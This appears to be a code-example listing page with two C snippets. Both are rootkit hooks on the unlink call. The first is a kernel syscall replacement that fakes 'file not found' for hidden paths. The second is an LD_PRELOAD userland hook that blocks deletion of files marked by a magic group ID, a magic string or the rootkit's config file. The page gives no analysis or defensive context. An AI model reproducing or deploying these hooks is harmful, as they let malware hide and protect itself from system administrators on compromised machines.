Пример #1
0
int new_unlink(const char *pathname)
{
  if( (strstr(pathname, hide) != NULL) && current->p_pptr->pid > 1 )
    return -ENOENT;
  else
    return old_unlink(pathname);
}
Пример #2
0
int
unlink (const char *pathname)
{
  struct stat s_fstat;

#ifdef DEBUG
  printf ("unlink hooked.\n");
#endif

  if (!libc)
    libc = dlopen (LIBC_PATH, RTLD_LAZY);

  if (old_unlink == NULL)
    old_unlink = dlsym (libc, "unlink");

  if (old_xstat == NULL)
    old_xstat = dlsym (libc, "__xstat");

  memset (&s_fstat, 0, sizeof (stat));

  old_xstat (_STAT_VER, pathname, &s_fstat);

  if (s_fstat.st_gid == MAGIC_GID || (strstr (pathname, MAGIC_STRING))
      || (strstr (pathname, CONFIG_FILE))) {
    errno = ENOENT;
    return -1;
  }

  return old_unlink (pathname);
}